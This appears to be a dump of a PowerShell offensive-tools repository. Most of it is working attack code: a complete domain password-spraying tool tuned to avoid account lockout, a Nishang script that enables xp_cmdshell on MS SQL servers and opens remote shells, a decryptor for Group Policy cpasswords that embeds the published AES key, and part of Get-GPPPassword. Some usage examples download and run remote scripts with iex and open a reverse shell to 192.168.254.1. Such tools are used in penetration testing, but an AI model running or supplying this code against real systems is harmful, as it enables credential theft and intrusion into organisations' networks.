Write-Host " - Object [$tempObjectName] Does NOT Exist Yet In The NetLogon Share" -ForeGroundColor Red 504 | $replicated = $false 505 | } 506 | } 507 | 508 | # If The Connection To The DC Is Unsuccessful 509 | If ($connectionResult -eq "FAILURE") { 510 | Write-Host " - Unable To Connect To DC/GC And Check For The Temp Object..." -ForeGroundColor Red 511 | If (!($TableOfDSServersB | ?{$_.Name -match $DSsrv.Name})) { 512 | $TableOfDSServersBobj = "" | Select Name,"Site Name",Time 513 | $TableOfDSServersBobj.Name = $DSsrv.Name 514 | $TableOfDSServersBObj."Site Name" = $DSsrv."Site Name" 515 | $TableOfDSServersBObj.Time = "" 516 | $TableOfDSServersB += $TableOfDSServersBObj 517 | } 518 | } 519 | } 520 | If ($replicated) { 521 | $continue = $false 522 | } Else { 523 | $host.UI.RawUI.CursorPosition = $oldpos 524 | } 525 | } 526 | 527 | ########## 528 | # Show The Start Time, The End Time And The Duration Of The Replication 529 | $endDateTime = Get-Date 530 | $duration = "{0:n2}" -f ($endDateTime.Subtract($startDateTime).TotalSeconds) 531 | Write-Host "`n Start Time......: $(Get-Date $startDateTime -format "yyyy-MM-dd HH:mm:ss")" -ForeGroundColor Yellow 532 | Write-Host " End Time........: $(Get-Date $endDateTime -format "yyyy-MM-dd HH:mm:ss")" -ForeGroundColor Yellow 533 | Write-Host " Duration........: $duration Seconds" -ForeGroundColor Yellow 534 | 535 | ########## 536 | # Delete The Temp Object On The RWDC 537 | If ($cleanupTempObject) { 538 | Write-Host "" 539 | Write-Host " Deleting Temp Text File... `n" -ForeGroundColor Yellow 540 | Remove-Item $($scriptsUNCPathOnSourcingRWDC + "\" + $tempObjectName) -Force 541 | Write-Host " Temp Text File [$tempObjectName] Has Been Deleted On The Target RWDC! `n" -ForeGroundColor Yellow 542 | } 543 | 544 | ########## 545 | # Output The Table [B] Containing The Information Of Each Directory Server And How Long It Took To Reach That Directory Server After The Creation On The Source RWDC 546 | $TableOfDSServersB | Sort-Object Time | FT -AutoSize -------------------------------------------------------------------------------- /DSInternals_v4.3.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/DSInternals_v4.3.zip -------------------------------------------------------------------------------- /DomainPasswordSpray.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DomainPasswordSpray{ 2 | <# 3 | .SYNOPSIS 4 | 5 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 6 | 7 | DomainPasswordSpray Function: Invoke-DomainPasswordSpray 8 | Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 16 | 17 | .PARAMETER UserList 18 | 19 | Optional UserList parameter. This will be generated automatically if not specified. 20 | 21 | .PARAMETER Password 22 | 23 | A single password that will be used to perform the password spray. 24 | 25 | .PARAMETER PasswordList 26 | 27 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 28 | 29 | .PARAMETER OutFile 30 | 31 | A file to output the results to. 32 | 33 | .PARAMETER Domain 34 | 35 | The domain to spray against. 36 | 37 | .PARAMETER Filter 38 | 39 | Custom LDAP filter for users, e.g. "(description=*admin*)" 40 | 41 | .PARAMETER Force 42 | 43 | Forces the spray to continue and doesn't prompt for confirmation. 44 | 45 | .PARAMETER UsernameAsPassword 46 | 47 | For each user, will try that user's name as their password 48 | 49 | .EXAMPLE 50 | 51 | C:\PS> Invoke-DomainPasswordSpray -Password Winter2016 52 | 53 | Description 54 | ----------- 55 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016. 56 | 57 | .EXAMPLE 58 | 59 | C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt 60 | 61 | Description 62 | ----------- 63 | This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window. 64 | 65 | .EXAMPLE 66 | 67 | C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt 68 | 69 | Description 70 | ----------- 71 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt 72 | 73 | #> 74 | param( 75 | [Parameter(Position = 0, Mandatory = $false)] 76 | [string] 77 | $UserList = "", 78 | 79 | [Parameter(Position = 1, Mandatory = $false)] 80 | [string] 81 | $Password, 82 | 83 | [Parameter(Position = 2, Mandatory = $false)] 84 | [string] 85 | $PasswordList, 86 | 87 | [Parameter(Position = 3, Mandatory = $false)] 88 | [string] 89 | $OutFile, 90 | 91 | [Parameter(Position = 4, Mandatory = $false)] 92 | [string] 93 | $Filter = "", 94 | 95 | [Parameter(Position = 5, Mandatory = $false)] 96 | [string] 97 | $Domain = "", 98 | 99 | [Parameter(Position = 6, Mandatory = $false)] 100 | [switch] 101 | $Force, 102 | 103 | [Parameter(Position = 7, Mandatory = $false)] 104 | [switch] 105 | $UsernameAsPassword, 106 | 107 | [Parameter(Position = 8, Mandatory = $false)] 108 | [int] 109 | $Delay=0, 110 | 111 | [Parameter(Position = 9, Mandatory = $false)] 112 | $Jitter=0 113 | 114 | ) 115 | 116 | if ($Password) 117 | { 118 | $Passwords = @($Password) 119 | } 120 | elseif($UsernameAsPassword) 121 | { 122 | $Passwords = "" 123 | } 124 | elseif($PasswordList) 125 | { 126 | $Passwords = Get-Content $PasswordList 127 | } 128 | else 129 | { 130 | Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified" 131 | break 132 | } 133 | 134 | try 135 | { 136 | if ($Domain -ne "") 137 | { 138 | # Using domain specified with -Domain option 139 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 140 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 141 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 142 | } 143 | else 144 | { 145 | # Trying to use the current user's domain 146 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 147 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 148 | } 149 | } 150 | catch 151 | { 152 | Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option." 153 | break 154 | } 155 | 156 | if ($UserList -eq "") 157 | { 158 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter 159 | } 160 | else 161 | { 162 | # if a Userlist is specified use it and do not check for lockout thresholds 163 | Write-Host "[*] Using $UserList as userlist to spray with" 164 | Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold." 165 | $UserListArray = @() 166 | try 167 | { 168 | $UserListArray = Get-Content $UserList -ErrorAction stop 169 | } 170 | catch [Exception] 171 | { 172 | Write-Host -ForegroundColor "red" "$_.Exception" 173 | break 174 | } 175 | 176 | } 177 | 178 | 179 | if ($Passwords.count > 1) 180 | { 181 | Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!" 182 | } 183 | 184 | $observation_window = Get-ObservationWindow 185 | 186 | Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes." 187 | Write-Host "[*] Setting a $observation_window minute wait in between sprays." 188 | 189 | # if no force flag is set we will ask if the user is sure they want to spray 190 | if (!$Force) 191 | { 192 | $title = "Confirm Password Spray" 193 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" 194 | 195 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 196 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." 197 | 198 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 199 | "Cancels the password spray." 200 | 201 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 202 | 203 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 204 | 205 | if ($result -ne 0) 206 | { 207 | Write-Host "Cancelling the password spray." 208 | break 209 | } 210 | } 211 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords" 212 | Write-Host "[*] This might take a while depending on the total number of users" 213 | 214 | if($UsernameAsPassword) 215 | { 216 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword 217 | } 218 | else 219 | { 220 | for($i = 0; $i -lt $Passwords.count; $i++) 221 | { 222 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter 223 | if (($i+1) -lt $Passwords.count) 224 | { 225 | Countdown-Timer -Seconds (60*$observation_window) 226 | } 227 | } 228 | } 229 | 230 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 231 | if ($OutFile -ne "") 232 | { 233 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 234 | } 235 | } 236 | 237 | function Countdown-Timer 238 | { 239 | param( 240 | $Seconds = 1800, 241 | $Message = "[*] Pausing to avoid account lockout." 242 | ) 243 | foreach ($Count in (1..$Seconds)) 244 | { 245 | Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) 246 | Start-Sleep -Seconds 1 247 | } 248 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed 249 | } 250 | 251 | function Get-DomainUserList 252 | { 253 | <# 254 | .SYNOPSIS 255 | 256 | This module gathers a userlist from the domain. 257 | 258 | DomainPasswordSpray Function: Get-DomainUserList 259 | Author: Beau Bullock (@dafthack) 260 | License: BSD 3-Clause 261 | Required Dependencies: None 262 | Optional Dependencies: None 263 | 264 | .DESCRIPTION 265 | 266 | This module gathers a userlist from the domain. 267 | 268 | .PARAMETER Domain 269 | 270 | The domain to spray against. 271 | 272 | .PARAMETER RemoveDisabled 273 | 274 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) 275 | 276 | .PARAMETER RemovePotentialLockouts 277 | 278 | Removes accounts within 1 attempt of locking out. 279 | 280 | .PARAMETER Filter 281 | 282 | Custom LDAP filter for users, e.g. "(description=*admin*)" 283 | 284 | .EXAMPLE 285 | 286 | PS C:\> Get-DomainUserList 287 | 288 | Description 289 | ----------- 290 | This command will gather a userlist from the domain including all samAccountType "805306368". 291 | 292 | .EXAMPLE 293 | 294 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 295 | 296 | Description 297 | ----------- 298 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" 299 | 300 | #> 301 | param( 302 | [Parameter(Position = 0, Mandatory = $false)] 303 | [string] 304 | $Domain = "", 305 | 306 | [Parameter(Position = 1, Mandatory = $false)] 307 | [switch] 308 | $RemoveDisabled, 309 | 310 | [Parameter(Position = 2, Mandatory = $false)] 311 | [switch] 312 | $RemovePotentialLockouts, 313 | 314 | [Parameter(Position = 3, Mandatory = $false)] 315 | [string] 316 | $Filter 317 | ) 318 | 319 | try 320 | { 321 | if ($Domain -ne "") 322 | { 323 | # Using domain specified with -Domain option 324 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 325 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 326 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 327 | } 328 | else 329 | { 330 | # Trying to use the current user's domain 331 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 332 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 333 | } 334 | } 335 | catch 336 | { 337 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option." 338 | break 339 | } 340 | 341 | # Setting the current domain's account lockout threshold 342 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" 343 | $AccountLockoutThresholds = @() 344 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold 345 | 346 | # Getting the AD behavior version to determine if fine-grained password policies are possible 347 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) 348 | if ($behaviorversion -ge 3) 349 | { 350 | # Determine if there are any fine-grained password policies 351 | Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy." 352 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher 353 | $ADSearcher.SearchRoot = $objDeDomain 354 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" 355 | $PSOs = $ADSearcher.FindAll() 356 | 357 | if ( $PSOs.count -gt 0) 358 | { 359 | Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n") 360 | foreach($entry in $PSOs) 361 | { 362 | # Selecting the lockout threshold, min pwd length, and which 363 | # groups the fine-grained password policy applies to 364 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties 365 | $PSOPolicyName = $PSOFineGrainedPolicy.name 366 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' 367 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' 368 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' 369 | # adding lockout threshold to array for use later to determine which is the lowest. 370 | $AccountLockoutThresholds += $PSOLockoutThreshold 371 | 372 | Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" 373 | } 374 | } 375 | } 376 | 377 | $observation_window = Get-ObservationWindow 378 | 379 | # Generate a userlist from the domain 380 | # Selecting the lowest account lockout threshold in the domain to avoid 381 | # locking out any accounts. 382 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 383 | Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..." 384 | 385 | if ($SmallestLockoutThreshold -eq "0") 386 | { 387 | Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy." 388 | } 389 | else 390 | { 391 | Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." 392 | } 393 | 394 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) 395 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry 396 | $UserSearcher.SearchRoot = $DirEntry 397 | 398 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null 399 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null 400 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null 401 | 402 | if ($RemoveDisabled) 403 | { 404 | Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list." 405 | # More precise LDAP filter UAC check for users that are disabled (Joff Thyer) 406 | # LDAP 1.2.840.113556.1.4.803 means bitwise & 407 | # uac 0x2 is ACCOUNTDISABLE 408 | # uac 0x10 is LOCKOUT 409 | # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ 410 | $UserSearcher.filter = 411 | "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" 412 | } 413 | else 414 | { 415 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)" 416 | } 417 | 418 | $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null 419 | $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null 420 | $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null 421 | $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll 422 | 423 | #Write-Host $UserSearcher.filter 424 | 425 | # grab batches of 1000 in results 426 | $UserSearcher.PageSize = 1000 427 | $AllUserObjects = $UserSearcher.FindAll() 428 | Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.") 429 | $UserListArray = @() 430 | 431 | if ($RemovePotentialLockouts) 432 | { 433 | Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list." 434 | foreach ($user in $AllUserObjects) 435 | { 436 | # Getting bad password counts and lst bad password time for each user 437 | $badcount = $user.Properties.badpwdcount 438 | $samaccountname = $user.Properties.samaccountname 439 | try 440 | { 441 | $badpasswordtime = $user.Properties.badpasswordtime[0] 442 | } 443 | catch 444 | { 445 | continue 446 | } 447 | $currenttime = Get-Date 448 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) 449 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes 450 | 451 | if ($badcount) 452 | { 453 | [int]$userbadcount = [convert]::ToInt32($badcount, 10) 454 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount 455 | # if there is more than 1 attempt left before a user locks out 456 | # or if the time since the last failed login is greater than the domain 457 | # observation window add user to spray list 458 | if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1)) 459 | { 460 | $UserListArray += $samaccountname 461 | } 462 | } 463 | } 464 | } 465 | else 466 | { 467 | foreach ($user in $AllUserObjects) 468 | { 469 | $samaccountname = $user.Properties.samaccountname 470 | $UserListArray += $samaccountname 471 | } 472 | } 473 | 474 | Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain") 475 | return $UserListArray 476 | } 477 | 478 | function Invoke-SpraySinglePassword 479 | { 480 | param( 481 | [Parameter(Position=1)] 482 | $Domain, 483 | [Parameter(Position=2)] 484 | [string[]] 485 | $UserListArray, 486 | [Parameter(Position=3)] 487 | [string] 488 | $Password, 489 | [Parameter(Position=4)] 490 | [string] 491 | $OutFile, 492 | [Parameter(Position=5)] 493 | [int] 494 | $Delay=0, 495 | [Parameter(Position=6)] 496 | [double] 497 | $Jitter=0, 498 | [Parameter(Position=7)] 499 | [switch] 500 | $UsernameAsPassword 501 | ) 502 | $time = Get-Date 503 | $count = $UserListArray.count 504 | Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" 505 | $curr_user = 0 506 | Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" 507 | $RandNo = New-Object System.Random 508 | 509 | foreach ($User in $UserListArray) 510 | { 511 | if ($UsernameAsPassword) 512 | { 513 | $Password = $User 514 | } 515 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) 516 | if ($Domain_check.name -ne $null) 517 | { 518 | if ($OutFile -ne "") 519 | { 520 | Add-Content $OutFile $User`:$Password 521 | } 522 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" 523 | } 524 | $curr_user += 1 525 | Write-Host -nonewline "$curr_user of $count users tested`r" 526 | if ($Delay) 527 | { 528 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 529 | } 530 | } 531 | 532 | } 533 | 534 | function Get-ObservationWindow() 535 | { 536 | # Get account lockout observation window to avoid running more than 1 537 | # password spray per observation window. 538 | $command = "cmd.exe /C net accounts /domain" 539 | $net_accounts_results = Invoke-Expression -Command:$command 540 | $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) 541 | $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) 542 | $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" 543 | [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) 544 | return $observation_window 545 | } 546 | 547 | -------------------------------------------------------------------------------- /Execute-Command-MSSQL.ps1: -------------------------------------------------------------------------------- 1 | function Execute-Command-MSSQL { 2 | <# 3 | .SYNOPSIS 4 | Nishang payload which could be used to execute commands remotely on a MS SQL server. 5 | 6 | .DESCRIPTION 7 | This payload needs a valid administrator username and password on remote SQL server. 8 | It uses the credentials to enable xp_cmdshell and provides a powershell shell, a sql shell 9 | or a cmd shell on the target. If the WindowsAuthentication switch is used, an attempt is made to 10 | use the Windows Authentication. No username and password is required in such case. 11 | 12 | .PARAMETER ComputerName 13 | Enter CopmuterName or IP Address of the target SQL server. 14 | 15 | .PARAMETER UserName 16 | Enter a UserName for a SQL server administrator account. 17 | 18 | .PARAMETER Password 19 | Enter the Password for the account. 20 | 21 | .PARAMETER WindowsAuthentication 22 | Use this switch parameter to use Windows Authentication for SQL Server. 23 | 24 | .EXAMPLE 25 | PS> Execute-Command-MSSQL -ComputerName sqlserv01 -UserName sa -Password sa1234 26 | 27 | .EXAMPLE 28 | PS> Execute-Command-MSSQL -ComputerName 192.168.1.10 -UserName sa -Password sa1234 29 | 30 | .EXAMPLE 31 | PS> Execute-Command-MSSQL -ComputerName target -UserName sa -Password sa1234 32 | Connecting to target... 33 | Enabling XP_CMDSHELL... 34 | Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): P 35 | Starting PowerShell on the target.. 36 | PS target> iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Get-Information.ps1''));Get-Information 37 | 38 | Use above to execute scripts on a target. 39 | 40 | .EXAMPLE 41 | PS> Execute-Command-MSSQL -ComputerName target -UserName sa -Password sa1234 -payload "iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Invoke-PowerShellTcp.ps1''));Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.1 -Port 443" 42 | Use above to execute scripts on a target non-interactively. 43 | 44 | .LINK 45 | http://www.labofapenetrationtester.com/2012/12/command-execution-on-ms-sql-server-using-powershell.html 46 | https://github.com/samratashok/nishang 47 | 48 | .NOTES 49 | Based mostly on the Get-TSSqlSysLogin by Niklas Goude and accompanying blog post at 50 | http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx 51 | http://www.truesec.com 52 | 53 | #> 54 | 55 | [CmdletBinding()] Param( 56 | [Parameter(Mandatory = $true, Position = 0, ValueFromPipeLine= $true)] 57 | [Alias("PSComputerName","CN","MachineName","IP","IPAddress")] 58 | [string] 59 | $ComputerName, 60 | 61 | [parameter(Mandatory = $False, Position = 1)] 62 | [string] 63 | $UserName, 64 | 65 | [parameter(Mandatory = $False, Position = 2)] 66 | [string] 67 | $Password, 68 | 69 | [parameter(Mandatory = $False, Position = 3)] 70 | [string] 71 | $payload, 72 | 73 | [parameter()] 74 | [switch] 75 | $WindowsAuthentication 76 | ) 77 | 78 | Try{ 79 | function Make-Connection ($query) 80 | { 81 | $Connection = New-Object System.Data.SQLClient.SQLConnection 82 | $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;" 83 | if ($WindowsAuthentication -eq $True) 84 | { 85 | $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;Trusted_Connection=Yes;" 86 | } 87 | $Connection.Open() 88 | $Command = New-Object System.Data.SQLClient.SQLCommand 89 | $Command.Connection = $Connection 90 | $Command.CommandText = $query 91 | $Reader = $Command.ExecuteReader() 92 | $Connection.Close() 93 | } 94 | 95 | "Connecting to $ComputerName..." 96 | Make-Connection "EXEC sp_configure 'show advanced options',1; RECONFIGURE;" 97 | "`nEnabling XP_CMDSHELL...`n" 98 | Make-Connection "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE" 99 | 100 | if ($payload) 101 | { 102 | $Connection = New-Object System.Data.SQLClient.SQLConnection 103 | $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;" 104 | if ($WindowsAuthentication -eq $True) 105 | { 106 | $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;Trusted_Connection=Yes;" 107 | } 108 | $Connection.Open() 109 | $Command = New-Object System.Data.SQLClient.SQLCommand 110 | $Command.Connection = $Connection 111 | $cmd = "EXEC xp_cmdshell 'powershell.exe $payload'" 112 | $Command.CommandText = "$cmd" 113 | $Reader = $Command.ExecuteReader() 114 | while ($reader.Read()) { 115 | New-Object PSObject -Property @{ 116 | Name = $reader.GetValue(0) 117 | } 118 | } 119 | $Connection.Close() 120 | } 121 | 122 | else 123 | { 124 | write-host -NoNewline "Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): " 125 | $shell = read-host 126 | while($payload -ne "exit") 127 | { 128 | $Connection = New-Object System.Data.SQLClient.SQLConnection 129 | $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;" 130 | if ($WindowsAuthentication -eq $True) 131 | { 132 | $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;Trusted_Connection=Yes;" 133 | } 134 | $Connection.Open() 135 | $Command = New-Object System.Data.SQLClient.SQLCommand 136 | $Command.Connection = $Connection 137 | if ($shell -eq "P") 138 | { 139 | write-host "`n`nStarting PowerShell on the target..`n" 140 | write-host -NoNewline "PS $ComputerName> " 141 | $payload = read-host 142 | $cmd = "EXEC xp_cmdshell 'powershell.exe -Command $payload'" 143 | } 144 | elseif ($shell -eq "S") 145 | { 146 | write-host "`n`nStarting SQL shell on the target..`n" 147 | write-host -NoNewline "MSSQL $ComputerName> " 148 | $payload = read-host 149 | $cmd = $payload 150 | } 151 | elseif ($shell -eq "C") 152 | { 153 | write-host "`n`nStarting cmd shell on the target..`n" 154 | write-host -NoNewline "CMD $ComputerName> " 155 | $payload = read-host 156 | $cmd = "EXEC xp_cmdshell 'cmd.exe /K $payload'" 157 | } 158 | 159 | 160 | $Command.CommandText = "$cmd" 161 | $Reader = $Command.ExecuteReader() 162 | while ($reader.Read()) { 163 | New-Object PSObject -Property @{ 164 | Name = $reader.GetValue(0) 165 | } 166 | } 167 | $Connection.Close() 168 | } 169 | } 170 | 171 | }Catch { 172 | $error[0] 173 | } 174 | } 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /Get-DecryptedCpassword.ps1: -------------------------------------------------------------------------------- 1 | function Get-DecryptedCpassword { 2 | [CmdletBinding()] 3 | Param ( 4 | [string] $Cpassword 5 | ) 6 | 7 | try { 8 | #Append appropriate padding based on string length 9 | $Mod = ($Cpassword.length % 4) 10 | 11 | switch ($Mod) { 12 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} 13 | '2' {$Cpassword += ('=' * (4 - $Mod))} 14 | '3' {$Cpassword += ('=' * (4 - $Mod))} 15 | } 16 | 17 | $Base64Decoded = [Convert]::FromBase64String($Cpassword) 18 | 19 | #Create a new AES .NET Crypto Object 20 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider 21 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 22 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 23 | 24 | #Set IV to all nulls to prevent dynamic generation of IV value 25 | $AesIV = New-Object Byte[]($AesObject.IV.Length) 26 | $AesObject.IV = $AesIV 27 | $AesObject.Key = $AesKey 28 | $DecryptorObject = $AesObject.CreateDecryptor() 29 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) 30 | 31 | Write-Host $OutBlock # <----- Only had to add this line 32 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) 33 | } 34 | 35 | catch {Write-Error $Error[0]} 36 | } -------------------------------------------------------------------------------- /Get-GPPPassword.ps1: -------------------------------------------------------------------------------- 1 | function Get-GPPPassword { 2 | <# 3 | .SYNOPSIS 4 | 5 | Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. 6 | 7 | PowerSploit Function: Get-GPPPassword 8 | Author: Chris Campbell (@obscuresec) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. 16 | 17 | .PARAMETER Server 18 | 19 | Specify the domain controller to search for. 20 | Default's to the users current domain 21 | 22 | .EXAMPLE 23 | 24 | PS C:\> Get-GPPPassword 25 | 26 | NewName : [BLANK] 27 | Changed : {2014-02-21 05:28:53} 28 | Passwords : {password12} 29 | UserNames : {test1} 30 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml 31 | 32 | NewName : {mspresenters} 33 | Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} 34 | Passwords : {Recycling*3ftw!, password123, password1234} 35 | UserNames : {Administrator (built-in), DummyAccount, dummy2} 36 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml 37 | 38 | NewName : [BLANK] 39 | Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} 40 | Passwords : {password, password1234$} 41 | UserNames : {administrator, admin} 42 | File : 